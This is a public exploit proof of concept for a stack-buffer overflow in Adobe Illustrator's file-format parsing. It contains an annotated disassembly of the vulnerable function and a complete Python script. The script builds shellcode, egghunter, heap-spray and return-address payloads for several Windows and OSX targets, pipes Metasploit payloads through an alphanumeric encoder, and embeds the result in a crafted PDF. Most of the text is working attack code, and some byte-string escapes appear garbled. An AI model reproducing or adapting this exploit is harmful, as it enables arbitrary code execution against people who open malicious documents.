############## #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com #### ############## ''' The vulnerable function follows... ---------------------------------- .text:004A7200 ; =============== S U B R O U T I N E ======================================= .text:004A7200 .text:004A7200 ; Attributes: bp-based frame .text:004A7200 .text:004A7200 sub_4A7200 proc near .text:004A7200 .text:004A7200 var_11C = dword ptr -11Ch .text:004A7200 var_118 = dword ptr -118h .text:004A7200 var_114 = byte ptr -114h .text:004A7200 var_14 = dword ptr -14h .text:004A7200 var_10 = dword ptr -10h .text:004A7200 var_C = dword ptr -0Ch .text:004A7200 var_4 = dword ptr -4 .text:004A7200 arg_0 = dword ptr 8 .text:004A7200 .text:004A7200 push ebp .text:004A7201 mov ebp, esp .text:004A7203 push 0FFFFFFFFh .text:004A7205 push offset loc_C3B8C0 .text:004A720A mov eax, large fs:0 .text:004A7210 push eax .text:004A7211 sub esp, 110h ;Make room for a 256 bytes buffer, etc .text:004A7217 mov eax, dword_FB3380 .text:004A721C xor eax, ebp .text:004A721E mov [ebp+var_14], eax ;Cookie! Immediately after the buffer .text:004A7221 push ebx .text:004A7222 push esi .text:004A7223 push edi .text:004A7224 push eax .text:004A7225 lea eax, [ebp+var_C] .text:004A7228 mov large fs:0, eax .text:004A722E mov [ebp+var_10], esp .text:004A7231 mov ebx, [ebp+arg_0] .text:004A7234 mov edi, ecx .text:004A7236 mov ecx, ebx .text:004A7238 mov [ebp+var_118], ebx .text:004A723E call std::basic_string::length(...) ;Original size offending size ;(It doesn;t stop at null chars) .text:004A7244 mov esi, eax .text:004A7246 push esi .text:004A7247 mov ecx, ebx .text:004A7249 call std::basic_string::c_str(...) .text:004A724F push eax .text:004A7250 lea eax, [ebp+var_114] .text:004A7256 push eax .text:004A7257 call memcpy ;STACK OVERFLOW! (If more than 256 bytes) .text:004A725C lea eax, [ebp+esi+var_114] .text:004A7263 add esp, 0Ch .text:004A7266 mov [ebp+var_11C], eax .text:004A726C mov byte ptr [eax], 0 .text:004A726F mov [ebp+var_4], 0 .text:004A7276 lea esi, [ebp+var_114] .text:004A727C lea esp, [esp+0] .text:004A7280 .text:004A7280 loc_4A7280: .text:004A7280 cmp esi, eax .text:004A7282 jnb short loc_4A72B6 .text:004A7284 mov edx, [edi] .text:004A7286 mov eax, [edx+4] .text:004A7289 push esi .text:004A728A mov ecx, edi .text:004A728C call eax ;Iterates over the stack copied buffer ;applying a 'locale'? character translation ;(Invalid chars noted in exploit) .text:004A728E test eax, eax .text:004A7290 jg short loc_4A7297 .text:004A7292 mov eax, 1 .text:004A7297 .text:004A7297 loc_4A7297: .text:004A7297 add esi, eax .text:004A7299 mov eax, [ebp+var_11C] .text:004A729F jmp short loc_4A7280 .text:004A72AE ; --------------------------------------------------------------------------- .text:004A72AE .text:004A72AE loc_4A72AE: .text:004A72AE mov ebx, [ebp+var_118] .text:004A72B4 jmp short loc_4A72BD .text:004A72B6 ; --------------------------------------------------------------------------- .text:004A72B6 .text:004A72B6 loc_4A72B6: .text:004A72B6 mov [ebp+var_4], 0FFFFFFFFh .text:004A72BD .text:004A72BD loc_4A72BD: .text:004A72BD lea ecx, [ebp+var_114] .text:004A72C3 push ecx .text:004A72C4 mov ecx, ebx .text:004A72C6 call std::basic_string::operator=(...) ;Here, due to local values ;corruption it is possible to ;write a translated version of ;our buffer to anywhere .text:004A72CC mov ecx, [ebp+var_C] .text:004A72CF mov large fs:0, ecx .text:004A72D6 pop ecx .text:004A72D7 pop edi .text:004A72D8 pop esi .text:004A72D9 pop ebx .text:004A72DA mov ecx, [ebp+var_14] .text:004A72DD xor ecx, ebp .text:004A72DF call sub_C27512 ;Check the cookie .text:004A72E4 mov esp, ebp .text:004A72E6 pop ebp .text:004A72E7 retn 4 .text:004A72E7 sub_4A7200 endp .text:004A72E7 f/ ''' #Exploit PoC begins... from miniPDF import * #http://pastebin.com/LUTXSSvV import zlib,struct,os,optparse,hashlib from subprocess import Popen, PIPE #Character translation map for the copied buffer (Reversed from function 004A72F0) cmap=[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F, 0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0x3E,0x3F, 0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F, 0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F, 0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F, 0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7A,0x7B,0x7C,0x7D,0x7E,0x00, 0x80,0x00,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x00,0x00,0x00, 0x00,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x00,0x00,0x9F, 0x20,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x2D,0xAE,0xAF, 0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF, 0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF, 0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF] invalid = [ i for i in xrange(0,0xff+1) if cmap[i] != i and i>0x1f] def getXImage(width, height, fill='x90', tail='xcc'): ''' [ a b c d tx ty ] llx lly urx ury h w bits ImageType AlphaChannelCount reserved bin-ascii ImageMask XI Arguments to the XI operator specify the location and size of the image, its pixel bit depth, color type, and other attributes The image matrix maps the unit square of user space, bounded by (0, 0) and (1, 1) in user space, to the boundary of the source image in image space. ''' doc = '''0 A u 0 O 0 g 0 J 0 j 1 w 10 M []0 d 0 XR %AI5_File: %AI5_BeginRaster [$width$ 0 0 $height$ 0 0] 0 0 $width$ $height$ $width$ $height$ 8 1 0 0 $bin_ascii$ 0 %%BeginData: $size$ XI $data$ %%EndData XH %AI5_EndRaster F U ''' bin_ascii = 1 #binary doc = doc.replace('$width$','%d'%width) doc = doc.replace('$height$','%d'%height) doc = doc.replace('$bin_ascii$','%d'%bin_ascii) doc = doc.replace('$size$','%d'%(width*height)) data = (fill*(width*height)) data = data[:width*height-len(tail)]+tail if bin_ascii == 0: data = data.encode('hex') data_formated = '' for i in xrange(0,len(data)+62,62): data_formated += '%'+data[i:i+62]+'n' data = data_formated doc = doc.replace('$data$',data) return doc def makeASCIICode(msfpayload): msfpayload = Popen('msfpayload3.5 %s R'%msfpayload, shell=True, stdout=PIPE) msfencode = Popen("msfencode3.5 BufferRegister=EAX -e x86/alpha_mixed -b '%s' -t raw"%''.join(['\x%02x'%x for x in invalid]), shell=True, stdin=msfpayload.stdout, stdout=PIPE) code = msfencode.communicate()[0] return code def mkAIPrivate(options): baseai = ''' %!PS-Adobe-3.0 %%Creator: Adobe Illustrator(TM) 3.2 %%AI8_CreatorVersion: 15.0.2 %AI5_FileFormat 11.0 %%For: (Administrator) () %%Title: (thafile.ai) %%CreationDate: 1/21/2011 12:32 PM %%Canvassize: 16383 %%BoundingBox: 29 -389 198 75 %%DocumentProcessColors: Black %%DocumentFonts: MyriadPro-Regular %%DocumentNeededFonts: MyriadPro-Regular %%DocumentNeededResources: procset Adobe_packedarray 2.0 0 %%+ procset Adobe_cshow 1.1 0 %%+ procset Adobe_customcolor 1.0 0 %%+ procset Adobe_typography_AI3 1.0 1 %%+ procset Adobe_pattern_AI3 1.0 0 %%+ procset Adobe_Illustrator_AI3 1.0 1 %AI3_ColorUsage: Color %AI3_TemplateBox: 298 -421 298 -421 %AI3_TileBox: -8.35986 -816.9453 603.6406 -24.9448 %AI3_DocumentPreview: None %%PageOrigin:-8 -817 %AI7_GridSettings: 72 8 72 8 1 0 0.8 0.8 0.8 0.9 0.9 0.9 %AI9_Flatten: 1 %AI12_CMSettings: 00.MS %%EndComments %%BeginProlog %%IncludeResource: procset Adobe_packedarray 2.0 0 Adobe_packedarray /initialize get exec %%IncludeResource: procset Adobe_cshow 1.1 0 %%IncludeResource: procset Adobe_customcolor 1.0 0 %%IncludeResource: procset Adobe_typography_AI3 1.0 1 %%IncludeResource: procset Adobe_pattern_AI3 1.0 0 %%IncludeResource: procset Adobe_Illustrator_AI3 1.0 1 %%EndProlog %%BeginSetup %%IncludeFont: MyriadPro-Regular Adobe_cshow /initialize get exec Adobe_customcolor /initialize get exec Adobe_typography_AI3 /initialize get exec Adobe_pattern_AI3 /initialize get exec Adobe_Illustrator_AI3 /initialize get exec [ 39/quotesingle 96/grave 128/Euro 130/quotesinglbase/florin/quotedblbase/ellipsis /dagger/daggerdbl/circumflex/perthousand/Scaron/guilsinglleft/OE 145/quoteleft /quoteright/quotedblleft/quotedblright/bullet/endash/emdash/tilde/trademark /scaron/guilsinglright/oe/dotlessi 159/Ydieresis /space 164/currency 166/brokenbar 168/dieresis/copyright/ordfeminine 172/logicalnot/hyphen/registered/macron/ring /plusminus/twosuperior/threesuperior/acute/mu 183/periodcentered/cedilla /onesuperior/ordmasculine 188/onequarter/onehalf/threequarters 192/Agrave /Aacute/Acircumflex/Atilde/Adieresis/Aring/AE/Ccedilla/Egrave/Eacute /Ecircumflex/Edieresis/Igrave/Iacute/Icircumflex/Idieresis/Eth/Ntilde /Ograve/Oacute/Ocircumflex/Otilde/Odieresis/multiply/Oslash/Ugrave /Uacute/Ucircumflex/Udieresis/Yacute/Thorn/germandbls/agrave/aacute /acircumflex/atilde/adieresis/aring/ae/ccedilla/egrave/eacute/ecircumflex /edieresis/igrave/iacute/icircumflex/idieresis/eth/ntilde/ograve/oacute /ocircumflex/otilde/odieresis/divide/oslash/ugrave/uacute/ucircumflex /udieresis/yacute/thorn/ydieresis TE %AI3_BeginEncoding: _MyriadPro-Regular MyriadPro-Regular [/_MyriadPro-Regular/MyriadPro-Regular 0 0 1 TZ %AI3_EndEncoding AdobeType %%EndSetup $HEAPSPRAY$ u 0 To 1 0 0 1 63.9058 -54.9058 0 Tp TP 1 0 0 1 63.9058 -54.9058 Tm 0 Tr 0 O 0 0 0 1 k 4 M /_MyriadPro-Regular 12 Tf 100 Tz 0 Tt 0 0 Tl 0 Tc ($PATTERN$) Tx 1 0 Tk TO U %%PageTrailer gsave annotatepage grestore showpage %%Trailer Adobe_Illustrator_AI3 /terminate get exec Adobe_pattern_AI3 /terminate get exec Adobe_typography_AI3 /terminate get exec Adobe_customcolor /terminate get exec Adobe_cshow /terminate get exec Adobe_packedarray /terminate get exec %%EOF ''' #configure token and search code snipet token = 0x494c4546 if options.w7: #Win7 In w7 the environment memory is 0x10000bytes long! msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=process' baseai = baseai.replace('$HEAPSPRAY$','') jmp_addr = 0x00001FF01 write_addr = 0x0001FF01 elif options.xp: #XPSP3 msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=process' baseai = baseai.replace('$HEAPSPRAY$','') jmp_addr = 0x10F00 write_addr = 0x10F00 elif options.osx: code = Popen('msfpayload3.5 osx/x86/exec CMD=/Applications/Calculator.app/Contents/MacOS/Calculator EXITFUNC=process R', shell=True, stdout=PIPE).communicate()[0] baseai = baseai.replace('$HEAPSPRAY$',getXImage(1020,1024,fill='x90',tail='xcc'+code+'xcc')*300 ) payload = "A"*284 payload += struct.pack("<L", 0x31000100) #Write the string in octal form ai_data = baseai.replace('$PATTERN$', ''.join(['\%o'%ord(i) for i in payload])) return ai_data elif options.multi: msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=seh' jmp_addr = 0x18e41111 write_addr = 0xFFFF #Segfault #configure token and search code snipet search = 'x80x79xffx01' #CMP BYTE [ECX-1],1 search += 'x74x18' #JZ fixstack search += 'xc6x41xffx01' #MOV BYTE [ECX-1],1 search += 'x58' #search: pop EAX search += 'x3D'+struct.pack('<L',token) #cmp EAX, $token search += 'x75xF8' #jnz %search search += 'x89xe0' #mov eax,esp search += 'x81xec'+struct.pack("<L",0x1000) #sub esp, 0x1000 search += 'x89xe5' #mov ebp,esp search += 'xFFxD0' #CALL EAX ##Second crash fix stack # Search for stack signature (Tested in 15.0.0 15.0.1 15.0.2) # 00000045 # 00000001 # 00000000 # 00000045 search += 'x81xc4'+struct.pack("<L",0x1000) #add esp, 0x1000 search += 'x58' #POP EAX search += 'x40' #INC EAX search += 'x83xF8x46' #CMP EAX,46 search += 'x75xF9' #JNE SHORT loop ### search += 'x58' #POP EAX search += 'x40' #INC EAX search += 'x83xF8x02' #CMP EAX,02 search += 'x75xF9' #JNE SHORT loop ### search += 'x58' #POP EAX search += 'x40' #INC EAX search += 'x83xF8x01' #CMP EAX,01 search += 'x75xF9' #JNE SHORT loop ### search += 'x58' #POP EAX search += 'x40' #INC EAX search += 'x83xF8x46' #CMP EAX,46 search += 'x75xF9' #JNE SHORT loop #Fix frame and return search += 'x83xECx1C' #SUB ESP,1C search += 'x5d' #POP EBP search += 'xc3' #RET baseai = baseai.replace('$HEAPSPRAY$',getXImage(1020,1024,fill='x90',tail=search)*300 ) else: #DEBUG def pattern(size): def _pattern(): for i in xrange(ord('a'),ord('z')+1): for j in xrange(ord('0'),ord('9')+1): for k in xrange(ord('A'),ord('Z')+1): for h in xrange(ord('0'),ord('9')+1): yield chr(i) yield chr(j) yield chr(k) yield chr(h) return ''.join(list(_pattern())[:size]) p = pattern(3000) ai_data = baseai.replace('($PATTERN$)', '('+p+')').replace('$HEAPSPRAY$',getXImage(1020,1024)*20) return ai_data #prepare shellcode.. if options.payload: msfpayload = args[1] code = makeASCIICode(msfpayload) search = 'x58' #search: pop EAX search += 'x3D'+struct.pack('<L',token) #cmp EAX, $token search += 'x75xF8' #jnz %search search += 'x89xe0' #mov eax,esp search += 'x89xe5' #mov ebp,esp search += 'xFFxD0' #CALL EAX payload = search payload += 'A'*(268 - len(payload)) payload += struct.pack('<L',jmp_addr) #offset 268 payload += 'B'*(352 - len(payload)) payload += struct.pack('<L', write_addr) #offset 352 (originally a heap address) payload += 'C'*(376 - len(payload)) payload += struct.pack('<L',token) #offset 376 payload += code #offset 380 assert len(payload)<=0x3000, 'Payload too long!, it may hit the end of the stack' #Double check it doesn't have invalid chars... for c in search: assert not ord(c) in invalid, 'c:%s is in %s'%('%02x'%ord(c),['\x%02x'%x for x in invalid]) #Write the string in octal form ai_data = baseai.replace('$PATTERN$', ''.join(['\%o'%ord(i) for i in payload])) #ai_data holds the ai private data to we inserted in the pdf shell return ai_data def mkPDFShell(ai_data): #The document doc = PDFDoc() #font font = PDFDict() font.add('Name', PDFName('F1')) font.add('Subtype', PDFName('Type1')) font.add('BaseFont', PDFName('Helvetica')) #name:font map fontname = PDFDict() fontname.add('F1',font) #resources resources = PDFDict() resources.add('Font',fontname) #contents contents= PDFStream({},'BT /F1 24 Tf 240 700 Td (Pedefe Pedefeito Pedefeon!) Tj ET') doc.add(contents) #begin illustrator bit private = PDFDict() illustrator = PDFDict() #slice the private data in 64k packs data = ai_data compress = {} chunk_size = 0xffff*20 for i in xrange(0,len(data)/chunk_size+1): priv_data = PDFStream({'Filter': '/FlateDecode'},data[chunk_size*i:chunk_size*(i+1)].encode('zlib')) hsh = hashlib.md5(priv_data.stream) if not hsh.hexdigest() in compress.keys(): doc.add(priv_data) ref = PDFRef(priv_data) compress[hsh.hexdigest()] = ref private.add('AIPrivateData%d'%(i+1),ref) private.add('NumBlock',PDFNum(len(data)/0xffff+1)) private.add('ContainerVersion',PDFNum(15.0)) private.add('CreatorVersion',PDFNum(15.0)) private.add('RoundtripVersion',PDFNum(15.0)) illustrator.add('LastModified',PDFString('D:20110202124811-07'00'')) illustrator.add('Private',PDFRef(private)) doc.add(private) doc.add(illustrator) #page page = PDFDict() page.add('Type',PDFName('Page')) page.add('Resources',resources) page.add('Contents', PDFRef(contents)) page.add('PieceInfo',PDFDict({'Illustrator': PDFRef(illustrator)})) doc.add(page) #pages pages = PDFDict() pages.add('Type', PDFName('Pages')) pages.add('Kids', PDFArray([PDFRef(page)])) pages.add('Count', PDFNum(1)) #add parent reference in page page.add('Parent',PDFRef(pages)) doc.add(pages) #catalog catalog = PDFDict() catalog.add('Type', PDFName('Catalog')) catalog.add('Pages', PDFRef(pages)) doc.add(catalog) doc.setRoot(catalog) return str(doc) if __name__ == '__main__': parser = optparse.OptionParser(description='Adobe Illustrator File Format Tx operator Stack Overflow') parser.add_option('--debug', action='store_true', default=False, help='For debugging') parser.add_option('--multi', action='store_true', default=False, help='Heapspraying for multitarget') parser.add_option('--w7', action='store_true', default=False, help='For Windows7') parser.add_option('--xp', action='store_true', default=False, help='For Windows XP (generic)') parser.add_option('--osx', action='store_true', default=False, help='For OSX (tested on plain leopard)') parser.add_option('--payload', action='store_true', default=False, help="Metasploit payload. Ex. 'windows/exec CMD=calc.exe'") parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation') (options, args) = parser.parse_args() if not options.w7 + options.xp + options.debug + options.multi + options.osx + options.doc== 1: print 'Try --help' exit(-1) elif options.doc: print __doc__ exit(0) ai_data = mkAIPrivate(options) print mkPDFShell(ai_data) #f/